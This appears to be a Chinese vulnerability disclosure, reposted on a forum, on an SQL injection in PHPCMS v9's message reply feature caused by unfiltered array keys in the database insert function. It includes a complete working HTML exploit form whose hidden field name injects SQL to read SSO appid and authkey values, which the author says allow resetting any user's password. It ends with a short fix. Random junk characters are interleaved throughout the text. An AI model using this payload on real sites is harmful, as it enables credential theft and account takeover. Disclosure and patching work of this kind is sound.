|
|
简要描述:
$ o5 \, b5 {" ~* Q* d$ p
' A+ _4 J5 A$ R4 o第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
, e% ]: _3 m9 O: N
6 V1 d( t# {* k, r# [/ K0 o, X* o明天再更新下一个漏洞。
( Y9 }$ [$ R- a) D, b. F详细说明:0 ~# a4 w) S; a$ P& i
在/phpcms9/phpcms/modules/message/index.php中有代码如下:. A# e) |- [; \7 C
8 O- K( L/ x% Y% D3 j, L6 ^3 t$messageid = $this->message_db->insert($_POST['info'],true);) ` D: t9 h1 r, c7 C% H5 u5 ?
1 U* A! Y/ ^2 C# X+ y5 u- ]" V
4 G. B3 j' O+ Q: w
insert方法是key value的,代码如下:' |! U: [7 c# q& l: O' Y
: D# l& ?& ^: A" o% s, lpublic function insert($data, $table, $return_insert_id = false, $replace = false) {! \8 ^' h7 @6 u. ?' q
if(!is_array( $data ) || $table == '' || count($data) == 0) {3 ?4 r* V2 l" S; m6 m9 k
return false;: l9 {9 Y; s6 B" x+ B/ U
}' r# }+ O: k: a, O2 y* ^
& p3 n$ L8 V6 n1 ^4 j $fielddata = array_keys($data);
! w5 a9 l$ W9 ?/ A9 V( y3 y $valuedata = array_values($data);5 K% g" l) R8 k4 l. h) H7 ?! H
array_walk($fielddata, array($this, 'add_special_char'));
$ W; f+ Y7 i5 j& @ array_walk($valuedata, array($this, 'escape_string'));
1 { _( C( z+ A n& a4 ?+ o* A 2 }4 N$ T! E& \* o; l* Q: Z
$field = implode (',', $fielddata);1 ^% A2 E% s9 {, L5 r
$value = implode (',', $valuedata); N3 f3 i$ u& Q. Q7 n- H
6 d+ v- r0 F) t6 V( x! o
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';- d/ Z% z1 D) {8 S8 A, o
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';( v8 N' B0 S; [* c( e4 K" H
$return = $this->execute($sql);
v3 M- s1 Q1 k$ v& O. a& W return $return_insert_id ? $this->insert_id() : $return;
% R1 |0 @) d) R1 }0 k5 [. @ }
* n* z5 V3 v- P8 x
) F. S! {6 V1 B. z( b3 Q9 ?/ m2 f6 }& m
嗯,很遗憾的是
$ r- D) u5 k6 P0 U% u# S4 W( W- H2 ?9 |0 F0 z. Y6 Q
array_walk($fielddata, array($this, 'add_special_char'));
* f& \" A K6 `* l$ V+ J! C' C! w: m. K: ]& e
9 f) u& x- ~3 H: Y8 t; X3 A
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。! H. r$ n! x' \( ^+ O, {: G; B" H) t
2 v7 m; u+ C2 s1 s$ M到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。 P! y* O( o( F" B- o. h; P* v
* A2 x9 ^, b O: e0 h0 f) J
漏洞证明:
: F+ j1 D8 o" {3 j/ n+ g- k读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。, b( k8 i. V- K0 j& x8 V
0 N4 ]: C: v8 f' X/ d# Z- m
. y, M7 D, S! a
表单如下:用户名什么的得自己改一改。3 |2 Y# n3 @% R1 a1 K* A0 Z6 g
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
& B2 F# e' T$ d7 h<table width="100%" cellspacing="0" class="table_form">
, }0 C, N, }3 q<tr>
+ `' q* L/ |3 E: r: V4 S3 a$ M k8 D<th>标 题:</th>
! S5 G9 u# u% t6 _% a/ ~5 e3 F) X<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
5 T: z o U2 A7 B8 S1 ^) n</tr> 2 t/ K: B2 x# ?" m' J
<tr>
9 R5 h: e% f8 K7 l<th>内 容:</th>9 F, d0 |2 R, D3 i7 G: J9 J4 q
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
4 _2 u$ z& l8 x</tr>! ~$ S. x. D7 o0 R" l
<input type="hidden" name="info[replyid]" value="2" />
9 t" r3 h# a: b7 ]) k<input type="hidden" name="info[send_to_id]" value="cc" />
6 }- E2 q7 L5 n8 j# y# E; Y1 d<input type="hidden" name="info[send_from_id]" value="hh">& d( h+ N" Y; z2 t R7 n s: i
<!-- 漏洞的利用重点在这里开始 -->
0 X6 T! w8 Y: p& @% B<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> * I6 d6 w- _3 G* G
<!-- 漏洞的利用重点在这里结束 -->
1 f. h" u5 F) q! c$ r2 [<tr>+ m% ]2 L/ V/ E6 ~0 @6 ?1 L3 Z
<th>验证码:</th>3 N* r: H: f+ z& H# d7 H7 W
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>( v2 G- F7 H' g1 C8 m1 ]
</tr>
+ }6 U/ y4 _6 v& i* n c0 U<tr>
( X r+ Z( F! b# I8 E! b* A6 |<td></td>
. m- N& q3 p4 N" E# o( w. h: j+ u; u<td colspan="2"><label>
M; U4 v; k" i. E* s<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>/ u+ _9 E L& A) u
</label></td>) f8 B6 [- w* }5 B7 R7 `, z# M
</tr>
4 X% E* d- ^- n! `2 Q2 a4 K</table>
8 n5 V" H4 d! {4 q6 i1 t</form>" N4 i, c' q: \+ z: @
在add_special_char函数内对key做过滤就可以了。; K) }5 s) V4 ~2 u! C
9 U7 Q! D0 X6 Z) W% B0 F
# {( O& \2 Z. f# P7 c! n
& }) E: G1 L% c |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|